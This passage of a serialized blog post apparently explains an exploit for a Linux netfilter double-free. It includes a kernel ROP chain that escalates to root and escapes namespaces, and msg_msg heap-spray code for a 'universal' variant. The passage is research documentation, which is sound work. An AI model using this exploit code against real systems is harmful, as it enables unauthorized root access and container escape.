0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[54742],{"type":23,"tag":135,"props":54743,"children":54744},{"__ignoreMap":7},[54745,54752,54769,54814,54850,54886,54893,54901,54944,54975,55011,55056,55111,55156,55163,55171,55214,55250,55286],{"type":23,"tag":139,"props":54746,"children":54747},{"class":141,"line":142},[54748],{"type":23,"tag":139,"props":54749,"children":54750},{"style":259},[54751],{"type":28,"value":8327},{"type":23,"tag":139,"props":54753,"children":54754},{"class":141,"line":151},[54755,54760,54765],{"type":23,"tag":139,"props":54756,"children":54757},{"style":259},[54758],{"type":28,"value":54759},"    // commit_creds(&",{"type":23,"tag":139,"props":54761,"children":54762},{"style":294},[54763],{"type":28,"value":54764},"init_cred",{"type":23,"tag":139,"props":54766,"children":54767},{"style":259},[54768],{"type":28,"value":1820},{"type":23,"tag":139,"props":54770,"children":54771},{"class":141,"line":160},[54772,54776,54780,54784,54788,54792,54796,54800,54805,54809],{"type":23,"tag":139,"props":54773,"children":54774},{"style":294},[54775],{"type":28,"value":54068},{"type":23,"tag":139,"props":54777,"children":54778},{"style":259},[54779],{"type":28,"value":54583},{"type":23,"tag":139,"props":54781,"children":54782},{"style":982},[54783],{"type":28,"value":49167},{"type":23,"tag":139,"props":54785,"children":54786},{"style":259},[54787],{"type":28,"value":6666},{"type":23,"tag":139,"props":54789,"children":54790},{"style":982},[54791],{"type":28,"value":1067},{"type":23,"tag":139,"props":54793,"children":54794},{"style":259},[54795],{"type":28,"value":54089},{"type":23,"tag":139,"props":54797,"children":54798},{"style":982},[54799],{"type":28,"value":2382},{"type":23,"tag":139,"props":54801,"children":54802},{"style":1016},[54803],{"type":28,"value":54804}," 0xffffffff8112c7c0",{"type":23,"tag":139,"props":54806,"children":54807},{"style":259},[54808],{"type":28,"value":46971},{"type":23,"tag":139,"props":54810,"children":54811},{"style":958},[54812],{"type":28,"value":54813}," // pop rdi; ret;\n",{"type":23,"tag":139,"props":54815,"children":54816},{"class":141,"line":169},[54817,54821,54825,54829,54833,54837,54841,54845],{"type":23,"tag":139,"props":54818,"children":54819},{"style":294},[54820],{"type":28,"value":54068},{"type":23,"tag":139,"props":54822,"children":54823},{"style":259},[54824],{"type":28,"value":54583},{"type":23,"tag":139,"props":54826,"children":54827},{"style":982},[54828],{"type":28,"value":49167},{"type":23,"tag":139,"props":54830,"children":54831},{"style":259},[54832],{"type":28,"value":6666},{"type":23,"tag":139,"props":54834,"children":54835},{"style":982},[54836],{"type":28,"value":1067},{"type":23,"tag":139,"props":54838,"children":54839},{"style":259},[54840],{"type":28,"value":54089},{"type":23,"tag":139,"props":54842,"children":54843},{"style":982},[54844],{"type":28,"value":2382},{"type":23,"tag":139,"props":54846,"children":54847},{"style":259},[54848],{"type":28,"value":54849}," INIT_CRED;\n",{"type":23,"tag":139,"props":54851,"children":54852},{"class":141,"line":178},[54853,54857,54861,54865,54869,54873,54877,54881],{"type":23,"tag":139,"props":54854,"children":54855},{"style":294},[54856],{"type":28,"value":54068},{"type":23,"tag":139,"props":54858,"children":54859},{"style":259},[54860],{"type":28,"value":54583},{"type":23,"tag":139,"props":54862,"children":54863},{"style":982},[54864],{"type":28,"value":49167},{"type":23,"tag":139,"props":54866,"children":54867},{"style":259},[54868],{"type":28,"value":6666},{"type":23,"tag":139,"props":54870,"children":54871},{"style":982},[54872],{"type":28,"value":1067},{"type":23,"tag":139,"props":54874,"children":54875},{"style":259},[54876],{"type":28,"value":54089},{"type":23,"tag":139,"props":54878,"children":54879},{"style":982},[54880],{"type":28,"value":2382},{"type":23,"tag":139,"props":54882,"children":54883},{"style":259},[54884],{"type":28,"value":54885}," COMMIT_CREDS;\n",{"type":23,"tag":139,"props":54887,"children":54888},{"class":141,"line":187},[54889],{"type":23,"tag":139,"props":54890,"children":54891},{"emptyLinePlaceholder":15},[54892],{"type":28,"value":184},{"type":23,"tag":139,"props":54894,"children":54895},{"class":141,"line":196},[54896],{"type":23,"tag":139,"props":54897,"children":54898},{"style":958},[54899],{"type":28,"value":54900},"    // task = find_task_by_vpid(1);\n",{"type":23,"tag":139,"props":54902,"children":54903},{"class":141,"line":205},[54904,54908,54912,54916,54920,54924,54928,54932,54936,54940],{"type":23,"tag":139,"props":54905,"children":54906},{"style":294},[54907],{"type":28,"value":54068},{"type":23,"tag":139,"props":54909,"children":54910},{"style":259},[54911],{"type":28,"value":54583},{"type":23,"tag":139,"props":54913,"children":54914},{"style":982},[54915],{"type":28,"value":49167},{"type":23,"tag":139,"props":54917,"children":54918},{"style":259},[54919],{"type":28,"value":6666},{"type":23,"tag":139,"props":54921,"children":54922},{"style":982},[54923],{"type":28,"value":1067},{"type":23,"tag":139,"props":54925,"children":54926},{"style":259},[54927],{"type":28,"value":54089},{"type":23,"tag":139,"props":54929,"children":54930},{"style":982},[54931],{"type":28,"value":2382},{"type":23,"tag":139,"props":54933,"children":54934},{"style":1016},[54935],{"type":28,"value":54804},{"type":23,"tag":139,"props":54937,"children":54938},{"style":259},[54939],{"type":28,"value":46971},{"type":23,"tag":139,"props":54941,"children":54942},{"style":958},[54943],{"type":28,"value":54813},{"type":23,"tag":139,"props":54945,"children":54946},{"class":141,"line":214},[54947,54951,54955,54959,54963,54967,54971],{"type":23,"tag":139,"props":54948,"children":54949},{"style":294},[54950],{"type":28,"value":54068},{"type":23,"tag":139,"props":54952,"children":54953},{"style":259},[54954],{"type":28,"value":54583},{"type":23,"tag":139,"props":54956,"children":54957},{"style":982},[54958],{"type":28,"value":49167},{"type":23,"tag":139,"props":54960,"children":54961},{"style":259},[54962],{"type":28,"value":6666},{"type":23,"tag":139,"props":54964,"children":54965},{"style":982},[54966],{"type":28,"value":1067},{"type":23,"tag":139,"props":54968,"children":54969},{"style":1016},[54970],{"type":28,"value":2525},{"type":23,"tag":139,"props":54972,"children":54973},{"style":259},[54974],{"type":28,"value":995},{"type":23,"tag":139,"props":54976,"children":54977},{"class":141,"line":1320},[54978,54982,54986,54990,54994,54998,55002,55006],{"type":23,"tag":139,"props":54979,"children":54980},{"style":294},[54981],{"type":28,"value":54068},{"type":23,"tag":139,"props":54983,"children":54984},{"style":259},[54985],{"type":28,"value":54583},{"type":23,"tag":139,"props":54987,"children":54988},{"style":982},[54989],{"type":28,"value":49167},{"type":23,"tag":139,"props":54991,"children":54992},{"style":259},[54993],{"type":28,"value":6666},{"type":23,"tag":139,"props":54995,"children":54996},{"style":982},[54997],{"type":28,"value":1067},{"type":23,"tag":139,"props":54999,"children":55000},{"style":259},[55001],{"type":28,"value":54089},{"type":23,"tag":139,"props":55003,"children":55004},{"style":982},[55005],{"type":28,"value":2382},{"type":23,"tag":139,"props":55007,"children":55008},{"style":259},[55009],{"type":28,"value":55010}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":139,"props":55012,"children":55013},{"class":141,"line":1329},[55014,55018,55022,55026,55030,55034,55038,55042,55047,55051],{"type":23,"tag":139,"props":55015,"children":55016},{"style":294},[55017],{"type":28,"value":54068},{"type":23,"tag":139,"props":55019,"children":55020},{"style":259},[55021],{"type":28,"value":54583},{"type":23,"tag":139,"props":55023,"children":55024},{"style":982},[55025],{"type":28,"value":49167},{"type":23,"tag":139,"props":55027,"children":55028},{"style":259},[55029],{"type":28,"value":6666},{"type":23,"tag":139,"props":55031,"children":55032},{"style":982},[55033],{"type":28,"value":1067},{"type":23,"tag":139,"props":55035,"children":55036},{"style":259},[55037],{"type":28,"value":54089},{"type":23,"tag":139,"props":55039,"children":55040},{"style":982},[55041],{"type":28,"value":2382},{"type":23,"tag":139,"props":55043,"children":55044},{"style":1016},[55045],{"type":28,"value":55046}," 0xffffffff8102e2a6",{"type":23,"tag":139,"props":55048,"children":55049},{"style":259},[55050],{"type":28,"value":46971},{"type":23,"tag":139,"props":55052,"children":55053},{"style":958},[55054],{"type":28,"value":55055}," // pop rsi; ret;\n",{"type":23,"tag":139,"props":55057,"children":55058},{"class":141,"line":1580},[55059,55063,55067,55071,55075,55079,55084,55088,55093,55097,55102,55106],{"type":23,"tag":139,"props":55060,"children":55061},{"style":294},[55062],{"type":28,"value":54068},{"type":23,"tag":139,"props":55064,"children":55065},{"style":259},[55066],{"type":28,"value":54583},{"type":23,"tag":139,"props":55068,"children":55069},{"style":982},[55070],{"type":28,"value":49167},{"type":23,"tag":139,"props":55072,"children":55073},{"style":259},[55074],{"type":28,"value":6666},{"type":23,"tag":139,"props":55076,"children":55077},{"style":982},[55078],{"type":28,"value":1067},{"type":23,"tag":139,"props":55080,"children":55081},{"style":259},[55082],{"type":28,"value":55083}," obj_ptr ",{"type":23,"tag":139,"props":55085,"children":55086},{"style":982},[55087],{"type":28,"value":2382},{"type":23,"tag":139,"props":55089,"children":55090},{"style":1016},[55091],{"type":28,"value":55092}," 0xe0",{"type":23,"tag":139,"props":55094,"children":55095},{"style":982},[55096],{"type":28,"value":49153},{"type":23,"tag":139,"props":55098,"children":55099},{"style":1016},[55100],{"type":28,"value":55101}," 0x66",{"type":23,"tag":139,"props":55103,"children":55104},{"style":259},[55105],{"type":28,"value":46971},{"type":23,"tag":139,"props":55107,"children":55108},{"style":958},[55109],{"type":28,"value":55110},"            // rax -> rdi and resume rop\n",{"type":23,"tag":139,"props":55112,"children":55113},{"class":141,"line":1597},[55114,55118,55122,55126,55130,55134,55138,55142,55147,55151],{"type":23,"tag":139,"props":55115,"children":55116},{"style":294},[55117],{"type":28,"value":54068},{"type":23,"tag":139,"props":55119,"children":55120},{"style":259},[55121],{"type":28,"value":54583},{"type":23,"tag":139,"props":55123,"children":55124},{"style":982},[55125],{"type":28,"value":49167},{"type":23,"tag":139,"props":55127,"children":55128},{"style":259},[55129],{"type":28,"value":6666},{"type":23,"tag":139,"props":55131,"children":55132},{"style":982},[55133],{"type":28,"value":1067},{"type":23,"tag":139,"props":55135,"children":55136},{"style":259},[55137],{"type":28,"value":54089},{"type":23,"tag":139,"props":55139,"children":55140},{"style":982},[55141],{"type":28,"value":2382},{"type":23,"tag":139,"props":55143,"children":55144},{"style":1016},[55145],{"type":28,"value":55146}," 0xffffffff81caed31",{"type":23,"tag":139,"props":55148,"children":55149},{"style":259},[55150],{"type":28,"value":46971},{"type":23,"tag":139,"props":55152,"children":55153},{"style":958},[55154],{"type":28,"value":55155}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":139,"props":55157,"children":55158},{"class":141,"line":1614},[55159],{"type":23,"tag":139,"props":55160,"children":55161},{"emptyLinePlaceholder":15},[55162],{"type":28,"value":184},{"type":23,"tag":139,"props":55164,"children":55165},{"class":141,"line":1627},[55166],{"type":23,"tag":139,"props":55167,"children":55168},{"style":958},[55169],{"type":28,"value":55170},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":139,"props":55172,"children":55173},{"class":141,"line":1636},[55174,55178,55182,55186,55190,55194,55198,55202,55206,55210],{"type":23,"tag":139,"props":55175,"children":55176},{"style":294},[55177],{"type":28,"value":54068},{"type":23,"tag":139,"props":55179,"children":55180},{"style":259},[55181],{"type":28,"value":54583},{"type":23,"tag":139,"props":55183,"children":55184},{"style":982},[55185],{"type":28,"value":49167},{"type":23,"tag":139,"props":55187,"children":55188},{"style":259},[55189],{"type":28,"value":6666},{"type":23,"tag":139,"props":55191,"children":55192},{"style":982},[55193],{"type":28,"value":1067},{"type":23,"tag":139,"props":55195,"children":55196},{"style":259},[55197],{"type":28,"value":54089},{"type":23,"tag":139,"props":55199,"children":55200},{"style":982},[55201],{"type":28,"value":2382},{"type":23,"tag":139,"props":55203,"children":55204},{"style":1016},[55205],{"type":28,"value":55046},{"type":23,"tag":139,"props":55207,"children":55208},{"style":259},[55209],{"type":28,"value":46971},{"type":23,"tag":139,"props":55211,"children":55212},{"style":958},[55213],{"type":28,"value":55055},{"type":23,"tag":139,"props":55215,"children":55216},{"class":141,"line":1659},[55217,55221,55225,55229,55233,55237,55241,55245],{"type":23,"tag":139,"props":55218,"children":55219},{"style":294},[55220],{"type":28,"value":54068},{"type":23,"tag":139,"props":55222,"children":55223},{"style":259},[55224],{"type":28,"value":54583},{"type":23,"tag":139,"props":55226,"children":55227},{"style":982},[55228],{"type":28,"value":49167},{"type":23,"tag":139,"props":55230,"children":55231},{"style":259},[55232],{"type":28,"value":6666},{"type":23,"tag":139,"props":55234,"children":55235},{"style":982},[55236],{"type":28,"value":1067},{"type":23,"tag":139,"props":55238,"children":55239},{"style":259},[55240],{"type":28,"value":54089},{"type":23,"tag":139,"props":55242,"children":55243},{"style":982},[55244],{"type":28,"value":2382},{"type":23,"tag":139,"props":55246,"children":55247},{"style":259},[55248],{"type":28,"value":55249}," INIT_NSPROXY;\n",{"type":23,"tag":139,"props":55251,"children":55252},{"class":141,"line":1667},[55253,55257,55261,55265,55269,55273,55277,55281],{"type":23,"tag":139,"props":55254,"children":55255},{"style":294},[55256],{"type":28,"value":54068},{"type":23,"tag":139,"props":55258,"children":55259},{"style":259},[55260],{"type":28,"value":54583},{"type":23,"tag":139,"props":55262,"children":55263},{"style":982},[55264],{"type":28,"value":49167},{"type":23,"tag":139,"props":55266,"children":55267},{"style":259},[55268],{"type":28,"value":6666},{"type":23,"tag":139,"props":55270,"children":55271},{"style":982},[55272],{"type":28,"value":1067},{"type":23,"tag":139,"props":55274,"children":55275},{"style":259},[55276],{"type":28,"value":54089},{"type":23,"tag":139,"props":55278,"children":55279},{"style":982},[55280],{"type":28,"value":2382},{"type":23,"tag":139,"props":55282,"children":55283},{"style":259},[55284],{"type":28,"value":55285}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":139,"props":55287,"children":55288},{"class":141,"line":1676},[55289],{"type":23,"tag":139,"props":55290,"children":55291},{"style":259},[55292],{"type":28,"value":8327},{"type":23,"tag":666,"props":55294,"children":55296},{"id":55295},"grabbing-the-kernelctf-flag",[55297],{"type":28,"value":55298},"Grabbing the kernelCTF flag",{"type":23,"tag":24,"props":55300,"children":55301},{},[55302,55306,55308,55315],{"type":23,"tag":429,"props":55303,"children":55305},{"alt":48476,"src":55304},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":55307},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":64,"props":55309,"children":55312},{"href":55310,"rel":55311},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[68],[55313],{"type":28,"value":55314},"GitHub",{"type":28,"value":73},{"type":23,"tag":41,"props":55317,"children":55319},{"id":55318},"universal-exploit",[55320],{"type":28,"value":55321},"Universal exploit",{"type":23,"tag":24,"props":55323,"children":55324},{},[55325],{"type":28,"value":55326},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":666,"props":55328,"children":55330},{"id":55329},"pivot-capability-using-msg_msg-mlistnext-pointer",[55331],{"type":28,"value":55332},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":24,"props":55334,"children":55335},{},[55336,55338,55344,55346,55351,55353,55359],{"type":28,"value":55337},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":135,"props":55339,"children":55341},{"className":55340},[],[55342],{"type":28,"value":55343},"msg_msg",{"type":28,"value":55345}," object with with ",{"type":23,"tag":135,"props":55347,"children":55349},{"className":55348},[],[55350],{"type":28,"value":52997},{"type":28,"value":55352}," and control the ",{"type":23,"tag":135,"props":55354,"children":55356},{"className":55355},[],[55357],{"type":28,"value":55358},"m_list.next",{"type":28,"value":55360}," pointer.",{"type":23,"tag":128,"props":55362,"children":55364},{"className":27132,"code":55363,"language":27134,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[55365],{"type":23,"tag":135,"props":55366,"children":55367},{"__ignoreMap":7},[55368,55376,55392,55413,55426,55444,55469,55485,55493,55500,55507,55515,55547],{"type":23,"tag":139,"props":55369,"children":55370},{"class":141,"line":142},[55371],{"type":23,"tag":139,"props":55372,"children":55373},{"style":958},[55374],{"type":28,"value":55375},"/* one msg_msg structure for each message */\n",{"type":23,"tag":139,"props":55377,"children":55378},{"class":141,"line":151},[55379,55383,55388],{"type":23,"tag":139,"props":55380,"children":55381},{"style":279},[55382],{"type":28,"value":7409},{"type":23,"tag":139,"props":55384,"children":55385},{"style":305},[55386],{"type":28,"value":55387}," msg_msg",{"type":23,"tag":139,"props":55389,"children":55390},{"style":259},[55391],{"type":28,"value":1268},{"type":23,"tag":139,"props":55393,"children":55394},{"class":141,"line":160},[55395,55399,55404,55409],{"type":23,"tag":139,"props":55396,"children":55397},{"style":279},[55398],{"type":28,"value":19159},{"type":23,"tag":139,"props":55400,"children":55401},{"style":305},[55402],{"type":28,"value":55403}," list_head",{"type":23,"tag":139,"props":55405,"children":55406},{"style":294},[55407],{"type":28,"value":55408}," m_list",{"type":23,"tag":139,"props":55410,"children":55411},{"style":259},[55412],{"type":28,"value":995},{"type":23,"tag":139,"props":55414,"children":55415},{"class":141,"line":169},[55416,55421],{"type":23,"tag":139,"props":55417,"children":55418},{"style":279},[55419],{"type":28,"value":55420}," long",{"type":23,"tag":139,"props":55422,"children":55423},{"style":259},[55424],{"type":28,"value":55425}," m_type;\n",{"type":23,"tag":139,"props":55427,"children":55428},{"class":141,"line":178},[55429,55434,55439],{"type":23,"tag":139,"props":55430,"children":55431},{"style":279},[55432],{"type":28,"value":55433}," size_t",{"type":23,"tag":139,"props":55435,"children":55436},{"style":259},[55437],{"type":28,"value":55438}," m_ts;",{"type":23,"tag":139,"props":55440,"children":55441},{"style":958},[55442],{"type":28,"value":55443},"  /* message text size */\n",{"type":23,"tag":139,"props":55445,"children":55446},{"class":141,"line":187},[55447,55451,55456,55460,55465],{"type":23,"tag":139,"props":55448,"children":55449},{"style":279},[55450],{"type":28,"value":19159},{"type":23,"tag":139,"props":55452,"children":55453},{"style":305},[55454],{"type":28,"value":55455}," msg_msgseg",{"type":23,"tag":139,"props":55457,"children":55458},{"style":279},[55459],{"type":28,"value":7825},{"type":23,"tag":139,"props":55461,"children":55462},{"style":294},[55463],{"type":28,"value":55464},"next",{"type":23,"tag":139,"props":55466,"children":55467},{"style":259},[55468],{"type":28,"value":995},{"type":23,"tag":139,"props":55470,"children":55471},{"class":141,"line":196},[55472,55476,55480],{"type":23,"tag":139,"props":55473,"children":55474},{"style":279},[55475],{"type":28,"value":48947},{"type":23,"tag":139,"props":55477,"children":55478},{"style":982},[55479],{"type":28,"value":7825},{"type":23,"tag":139,"props":55481,"children":55482},{"style":259},[55483],{"type":28,"value":55484},"security;\n",{"type":23,"tag":139,"props":55486,"children":55487},{"class":141,"line":205},[55488],{"type":23,"tag":139,"props":55489,"children":55490},{"style":958},[55491],{"type":28,"value":55492}," /* the actual message follows immediately */\n",{"type":23,"tag":139,"props":55494,"children":55495},{"class":141,"line":214},[55496],{"type":23,"tag":139,"props":55497,"children":55498},{"style":259},[55499],{"type":28,"value":14589},{"type":23,"tag":139,"props":55501,"children":55502},{"class":141,"line":1320},[55503],{"type":23,"tag":139,"props":55504,"children":55505},{"style":259},[55506],{"type":28,"value":8327},{"type":23,"tag":139,"props":55508,"children":55509},{"class":141,"line":1329},[55510],{"type":23,"tag":139,"props":55511,"children":55512},{"style":259},[55513],{"type":28,"value":55514},"struct list_head {\n",{"type":23,"tag":139,"props":55516,"children":55517},{"class":141,"line":1580},[55518,55522,55526,55530,55534,55538,55542],{"type":23,"tag":139,"props":55519,"children":55520},{"style":279},[55521],{"type":28,"value":19159},{"type":23,"tag":139,"props":55523,"children":55524},{"style":305},[55525],{"type":28,"value":55403},{"type":23,"tag":139,"props":55527,"children":55528},{"style":279},[55529],{"type":28,"value":7825},{"type":23,"tag":139,"props":55531,"children":55532},{"style":294},[55533],{"type":28,"value":55464},{"type":23,"tag":139,"props":55535,"children":55536},{"style":259},[55537],{"type":28,"value":1052},{"type":23,"tag":139,"props":55539,"children":55540},{"style":982},[55541],{"type":28,"value":2573},{"type":23,"tag":139,"props":55543,"children":55544},{"style":259},[55545],{"type":28,"value":55546},"prev;\n",{"type":23,"tag":139,"props":55548,"children":55549},{"class":141,"line":1597},[55550],{"type":23,"tag":139,"props":55551,"children":55552},{"style":259},[55553],{"type":28,"value":14589},{"type":23,"tag":24,"props":55555,"children":55556},{},[55557,55559,55565,55567,55572],{"type":28,"value":55558},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":135,"props":55560,"children":55562},{"className":55561},[],[55563],{"type":28,"value":55564},"mlist.next",{"type":28,"value":55566}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":135,"props":55568,"children":55570},{"className":55569},[],[55571],{"type":28,"value":55343},{"type":28,"value":55573}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":24,"props":55575,"children":55576},{},[55577,55579,55584,55586],{"type":28,"value":55578},"By incrementing the next pointer of our controllable ",{"type":23,"tag":135,"props":55580,"children":55582},{"className":55581},[],[55583],{"type":28,"value":55343},{"type":28,"value":55585}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":429,"props":55587,"children":55589},{"alt":48476,"src":55588},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":128,"props":55591,"children":55593},{"className":27132,"code":55592,"language":27134,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[55594],{"type":23,"tag":135,"props":55595,"children":55596},{"__ignoreMap":7},[55597,55604,55612,55638,55655,55703,55710,55750,55782,55789,55810,55817,55864,55928,55954,56000,56024,56068,56075,56083,56119,56143,56150,56170,56177],{"type":23,"tag":139,"props":55598,"children":55599},{"class":141,"line":142},[55600],{"type":23,"tag":139,"props":55601,"children":55602},{"style":259},[55603],{"type":28,"value":8327},{"type":23,"tag":139,"props":55605,"children":55606},{"class":141,"line":151},[55607],{"type":23,"tag":139,"props":55608,"children":55609},{"style":259},[55610],{"type":28,"value":55611},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":139,"props":55613,"children":55614},{"class":141,"line":160},[55615,55620,55624,55628,55633],{"type":23,"tag":139,"props":55616,"children":55617},{"style":259},[55618],{"type":28,"value":55619},"    msg_t *msg = calloc(1, ",{"type":23,"tag":139,"props":55621,"children":55622},{"style":305},[55623],{"type":28,"value":53226},{"type":23,"tag":139,"props":55625,"children":55626},{"style":259},[55627],{"type":28,"value":262},{"type":23,"tag":139,"props":55629,"children":55630},{"style":305},[55631],{"type":28,"value":55632},"msg_t",{"type":23,"tag":139,"props":55634,"children":55635},{"style":259},[55636],{"type":28,"value":55637},") + 0xe8 - 48);\n",{"type":23,"tag":139,"props":55639,"children":55640},{"class":141,"line":169},[55641,55645,55650],{"type":23,"tag":139,"props":55642,"children":55643},{"style":279},[55644],{"type":28,"value":17085},{"type":23,"tag":139,"props":55646,"children":55647},{"style":294},[55648],{"type":28,"value":55649}," qid",{"type":23,"tag":139,"props":55651,"children":55652},{"style":259},[55653],{"type":28,"value":55654},"[SPRAY];\n",{"type":23,"tag":139,"props":55656,"children":55657},{"class":141,"line":178},[55658,55662,55666,55670,55674,55678,55682,55686,55690,55695,55699],{"type":23,"tag":139,"props":55659,"children":55660},{"style":319},[55661],{"type":28,"value":1003},{"type":23,"tag":139,"props":55663,"children":55664},{"style":259},[55665],{"type":28,"value":1042},{"type":23,"tag":139,"props":55667,"children":55668},{"style":279},[55669],{"type":28,"value":17055},{"type":23,"tag":139,"props":55671,"children":55672},{"style":259},[55673],{"type":28,"value":52442},{"type":23,"tag":139,"props":55675,"children":55676},{"style":982},[55677],{"type":28,"value":1067},{"type":23,"tag":139,"props":55679,"children":55680},{"style":1016},[55681],{"type":28,"value":1019},{"type":23,"tag":139,"props":55683,"children":55684},{"style":259},[55685],{"type":28,"value":49131},{"type":23,"tag":139,"props":55687,"children":55688},{"style":982},[55689],{"type":28,"value":3808},{"type":23,"tag":139,"props":55691,"children":55692},{"style":259},[55693],{"type":28,"value":55694}," SPRAY; i",{"type":23,"tag":139,"props":55696,"children":55697},{"style":982},[55698],{"type":28,"value":49167},{"type":23,"tag":139,"props":55700,"children":55701},{"style":259},[55702],{"type":28,"value":273},{"type":23,"tag":139,"props":55704,"children":55705},{"class":141,"line":187},[55706],{"type":23,"tag":139,"props":55707,"children":55708},{"style":259},[55709],{"type":28,"value":27209},{"type":23,"tag":139,"props":55711,"children":55712},{"class":141,"line":196},[55713,55718,55722,55726,55731,55736,55741,55745],{"type":23,"tag":139,"props":55714,"children":55715},{"style":294},[55716],{"type":28,"value":55717},"        qid",{"type":23,"tag":139,"props":55719,"children":55720},{"style":259},[55721],{"type":28,"value":52494},{"type":23,"tag":139,"props":55723,"children":55724},{"style":982},[55725],{"type":28,"value":1067},{"type":23,"tag":139,"props":55727,"children":55728},{"style":245},[55729],{"type":28,"value":55730}," msgget",{"type":23,"tag":139,"props":55732,"children":55733},{"style":259},[55734],{"type":28,"value":55735},"(IPC_PRIVATE, ",{"type":23,"tag":139,"props":55737,"children":55738},{"style":1016},[55739],{"type":28,"value":55740},"0666",{"type":23,"tag":139,"props":55742,"children":55743},{"style":982},[55744],{"type":28,"value":2270},{"type":23,"tag":139,"props":55746,"children":55747},{"style":259},[55748],{"type":28,"value":55749}," IPC_CREAT);\n",{"type":23,"tag":139,"props":55751,"children":55752},{"class":141,"line":205},[55753,55757,55761,55766,55770,55774,55778],{"type":23,"tag":139,"props":55754,"children":55755},{"style":319},[55756],{"type":28,"value":1249},{"type":23,"tag":139,"props":55758,"children":55759},{"style":259},[55760],{"type":28,"value":1042},{"type":23,"tag":139,"props":55762,"children":55763},{"style":294},[55764],{"type":28,"value":55765},"qid",{"type":23,"tag":139,"props":55767,"children":55768},{"style":259},[55769],{"type":28,"value":52494},{"type":23,"tag":139,"props":55771,"children":55772},{"style":982},[55773],{"type":28,"value":3808},{"type":23,"tag":139,"props":55775,"children":55776},{"style":1016},[55777],{"type":28,"value":1019},{"type":23,"tag":139,"props":55779,"children":55780},{"style":259},[55781],{"type":28,"value":273},{"type":23,"tag":139,"props":55783,"children":55784},{"class":141,"line":214},[55785],{"type":23,"tag":139,"props":55786,"children":55787},{"style":259},[55788],{"type":28,"value":29546},{"type":23,"tag":139,"props":55790,"children":55791},{"class":141,"line":1320},[55792,55797,55801,55806],{"type":23,"tag":139,"props":55793,"children":55794},{"style":245},[55795],{"type":28,"value":55796},"            perror",{"type":23,"tag":139,"props":55798,"children":55799},{"style":259},[55800],{"type":28,"value":262},{"type":23,"tag":139,"props":55802,"children":55803},{"style":265},[55804],{"type":28,"value":55805},"\"[-] msgget\"",{"type":23,"tag":139,"props":55807,"children":55808},{"style":259},[55809],{"type":28,"value":1820},{"type":23,"tag":139,"props":55811,"children":55812},{"class":141,"line":1329},[55813],{"type":23,"tag":139,"props":55814,"children":55815},{"style":259},[55816],{"type":28,"value":1326},{"type":23,"tag":139,"props":55818,"children":55819},{"class":141,"line":1580},[55820,55824,55828,55833,55837,55841,55846,55850,55855,55859],{"type":23,"tag":139,"props":55821,"children":55822},{"style":982},[55823],{"type":28,"value":5755},{"type":23,"tag":139,"props":55825,"children":55826},{"style":259},[55827],{"type":28,"value":262},{"type":23,"tag":139,"props":55829,"children":55830},{"style":279},[55831],{"type":28,"value":55832},"uint32_t",{"type":23,"tag":139,"props":55834,"children":55835},{"style":982},[55836],{"type":28,"value":7825},{"type":23,"tag":139,"props":55838,"children":55839},{"style":259},[55840],{"type":28,"value":1104},{"type":23,"tag":139,"props":55842,"children":55843},{"style":294},[55844],{"type":28,"value":55845},"msg",{"type":23,"tag":139,"props":55847,"children":55848},{"style":259},[55849],{"type":28,"value":11768},{"type":23,"tag":139,"props":55851,"children":55852},{"style":294},[55853],{"type":28,"value":55854},"mtext",{"type":23,"tag":139,"props":55856,"children":55857},{"style":982},[55858],{"type":28,"value":985},{"type":23,"tag":139,"props":55860,"children":55861},{"style":259},[55862],{"type":28,"value":55863}," 